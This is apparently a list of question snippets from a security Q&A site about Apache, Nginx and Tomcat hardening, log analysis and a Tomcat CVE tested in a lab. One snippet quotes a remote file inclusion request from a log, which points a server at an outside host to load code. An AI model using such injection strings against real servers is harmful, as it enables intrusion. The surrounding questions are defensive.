I have just come across this sentence on apache log files documentation: Anyone who can write to the directory where Apache is writing a log file can almost certainly gain access to the uid that ...
Are there any crucial configuration changes that should be made to a fresh Apache web server install? If not, is the default installation of the web server relatively secure against exploits and DoS ...
Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://126.96.36.199/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
I have a http server Nginx with HTTP TRACE Enabled. A single nmap --script=http-methods.nse host.name give this result : Not shown: 988 closed ports PORT STATE SERVICE VERSION [...] ...
Exploiting tomcat's vulnerability CVE-2009-2693 Arbitrary file deletion and/or alteration on deploy [closed]
For some tests, I want to exploit tomcat 6 vulnerability CVE-2009-2693. You can see it here http://tomcat.apache.org/security-6.html I am trying this with insecure web application of OWASP. I made ...
The hack was a failure, as they were not able to put the created page as the home page. But we found recently a manipulated page on our website (via the rss). So I looked in the Apache2 logs and ...